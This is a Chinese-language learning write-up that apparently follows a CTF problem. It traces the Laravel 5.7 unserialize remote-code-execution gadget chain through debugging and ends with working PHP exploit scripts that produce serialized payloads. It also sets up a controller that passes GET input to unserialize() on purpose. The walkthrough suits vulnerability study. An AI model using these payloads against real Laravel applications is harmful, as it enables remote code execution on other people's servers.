前言
在做题的时候遇到了这题,所以便来学习一下这个漏洞的原理,因为还是个萌新看文章时有一些地方不是特别理解,所以便来手动调试一下
环境搭建
我采用的是vscode+phpstudy+php7.3.4+xdebug,一开始的默认调试时间太过于短暂,不方便跟踪,可以参考这篇文章 xdebug修改调试时间。
在自己的网站文件夹下使用composer下载Laravel5.7 composer create-project laravel/laravel=5.7.* --prefer-dist ./ composer搭建链接
复现准备
- 需要在 app\Http\Controllers 下新建一个控制器
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class kb_Controller extends Controller
{
public function kb()
{
if(isset($_GET['unserialize'])){
$code = $_GET['unserialize'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "kb";
}
}
?>
2.在 routes\web.php 添加一条路由
Route::get('/kb',"kb_Controller@kb");
反序列化代码审计
漏洞链的起点在vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php 该类的主要作用是用来命令执行,我们要利用的就是其中的run方法,有两个变量很重要
protected $command;
protected $parameters;
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
在它的析构函数中便有调用到run方法,但是得经过上面的判断,但是hasExecuted本来便是false
protected $hasExecuted = false;
直接进入run方法
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
要想执行到异常处理代码中得先经过 $this->mockConsoleOutput()
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
先写个poc试试
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public function __construct(){
$this->command="phpinfo";
$this->parameters[]="1";
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
在196行的createABufferedOutputMock()方法中出现错误,说试图获取非对象的属性,先进代码看看。
foreach ($this->test->expectedOutput as $i => $output) {
expectedOutput是一个数组将它进行foreach循环,本类中并没有这个属性, $this->test也是我们可以控制的,所以我们可以用__get()来让他返回一个数组,全局搜索一个__get()。
public function __get($attribute)
{
return $this->default;
}
继续编写调试poc
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
public function __construct($test){
$this->command="phpinfo";
$this->parameters[]="1";
$this->test=$test;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default =$default;
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand;
use Faker\DefaultGenerator;
$default = new DefaultGenerator(array('kb'=>'aaa'));
$pend = new PendingCommand($default);
echo urlencode(serialize($pend));
}
下断点调试 进入,成功调用到__get 成功返回数组内容,然后便返回到mockConsoleOutput()中 继续调试发现在180行的mockConsoleOutput()方法中出现问题,说在 null 上调用成员函数 bind() 进代码中查看 上面说app是一个实例化的Application,那我们便给他赋值 修改poc
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test,$app){
$this->command="phpinfo";
$this->parameters[]="1";
$this->test=$test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default =$default;
}
}
}
namespace Illuminate\Foundation{
class Application{
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;;
$default = new DefaultGenerator(array('kb'=>'aaa'));
$app = new Application();
$pend = new PendingCommand($default,$app);
echo urlencode(serialize($pend));
}
这时调试发现已经成功跳出mockConsoleOutput() 然后执行到
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这个时候的app已经是Application类的对象,kernel:class是Illuminate\Contracts\Console\Kernel,对象被当做数组使用的话必须要使用ArrayAccess接口,而刚好Application类的父类Container类中就有使用了这个接口,这个call函数也是在app中的,所以得返回一个app对象 我们再下断点跟进一下 跳转到offsetGet,key是Illuminate\Contracts\Console\Kernel,然后再跳转到make。
上面的代码不影响,然后再跳到父类的make 再跳到resolve,这里有两个利用点可以返回app对象 一.在下方代码15行返回 二.最后一个return $object
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
要想在15行返回得满足下列条件
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
返回的便是个数组中的对象,我们直接给他赋值为app对象即可,而且也满足了if的第一个条件,第二个条件取反了所以它原来得是假,那我们便去跟一下这个属性
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
}
$parameters是个空数组取反后为假,再跳转到getContextualConcrete(),$abstract一直都是"Illuminate\Contracts\Console\Kernel"
不会再第一个if返回,在第二个if中不存在 $this->abstractAliases[Illuminate\Contracts\Console\Kernel]这个值所以为空,直接返回空,所以 $needsContextualBuild的值就是false,这样就直接返回了app对象 去调用call方法,再去跟一下call方法
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
第一个参数是执行的命令,第二个是参数,第3个默认为空,继续进入BoundMethod::call
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
我们不能进入第一个if的返回所以先看看第一个if判断, $defaultMethod是空这个我们不管他
protected static function isCallableWithAtSign($callback)
{
return is_string($callback) && strpos($callback, '@') !== false;
}
这里只要命令中不带@就会返回假,所以不会进入call中的if,继续分析call下面的代码
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
主要看call_user_func_array的第二个参数
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
这里主要就是将我们的参数数组与$dependencies结合起来,所以不会影响我们,这条反序列化链就到此为止,最终exp
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test,$app){
$this->command="phpinfo";
$this->parameters[]="1";
$this->test=$test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default =$default;
}
}
}
namespace Illuminate\Foundation{
use Illuminate\Foundation\Application as FoundationApplication;
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;;
$default = new DefaultGenerator(array('kb'=>'aaa'));
$app = new Application();
$application = new Application($app);
$pend = new PendingCommand($default,$application);
echo urlencode(serialize($pend));
}
上面是resolve()的第一个返回app的方法,接下来看看第二个
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
进getConcrete($abstract)看看
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
再进入getContextualConcrete()
protected function getContextualConcrete($abstract)
{
if (! is_null($binding = $this->findInContextualBindings($abstract))) {
return $binding;
}
if (empty($this->abstractAliases[$abstract])) {
return;
}
foreach ($this->abstractAliases[$abstract] as $alias) {
if (! is_null($binding = $this->findInContextualBindings($alias))) {
return $binding;
}
}
}
第一个if返回的是空不会进入,没有$this->abstractAliases[“Illuminate\Contracts\Console\Kernel”],直接return,回到getConcrete()
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
没有设置$this->bindings[‘Illuminate\Contracts\Console\Kernel’],会直接返回kernel,不能让它这样返回,得让他返回一个Application类,所以在 this->bindings[‘Illuminate\Contracts\Console\Kernel’][‘concrete’] 下手 将Application类赋值给他,继续调试 成功返回Application类,此时两个变量不一样,所以会带Application类再进一次make方法 make->parent::make()->resolve()->getConcrete
没有设置 $this->bindings[“Illuminate\Foundation\Application”][‘concrete’],直接返回 两个相等,进入build() 最终就用反射类实例化app对象,然后逐层返回,再调用call() 第二个exp如下:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $app;
protected $command;
protected $parameters;
public $test;
public function __construct($test,$app){
$this->command="phpinfo";
$this->parameters[]="1";
$this->test=$test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default)
{
$this->default =$default;
}
}
}
namespace Illuminate\Foundation{
use Illuminate\Foundation\Application as FoundationApplication;
class Application{
protected $bindings;
public function __construct($instances = [])
{
$this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
}
}
}
namespace {
use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;
$default = new DefaultGenerator(array('kb'=>'aaa'));
$app = new Application();
$pend = new PendingCommand($default,$app);
echo urlencode(serialize($pend));
}
?>
总结:对反序列化有了更深的认识,主要是锻炼了自己的思路,也会了更多的调试手法。自己还是太菜,得花更多的时间学习(强的强死,菜的菜死)。
参考链接: laravel5.7 反序列化漏洞复现 Laravel5.7反序列化RCE漏洞分析 Laravel5.7反序列化漏洞之RCE链挖掘/#漏洞链挖掘
|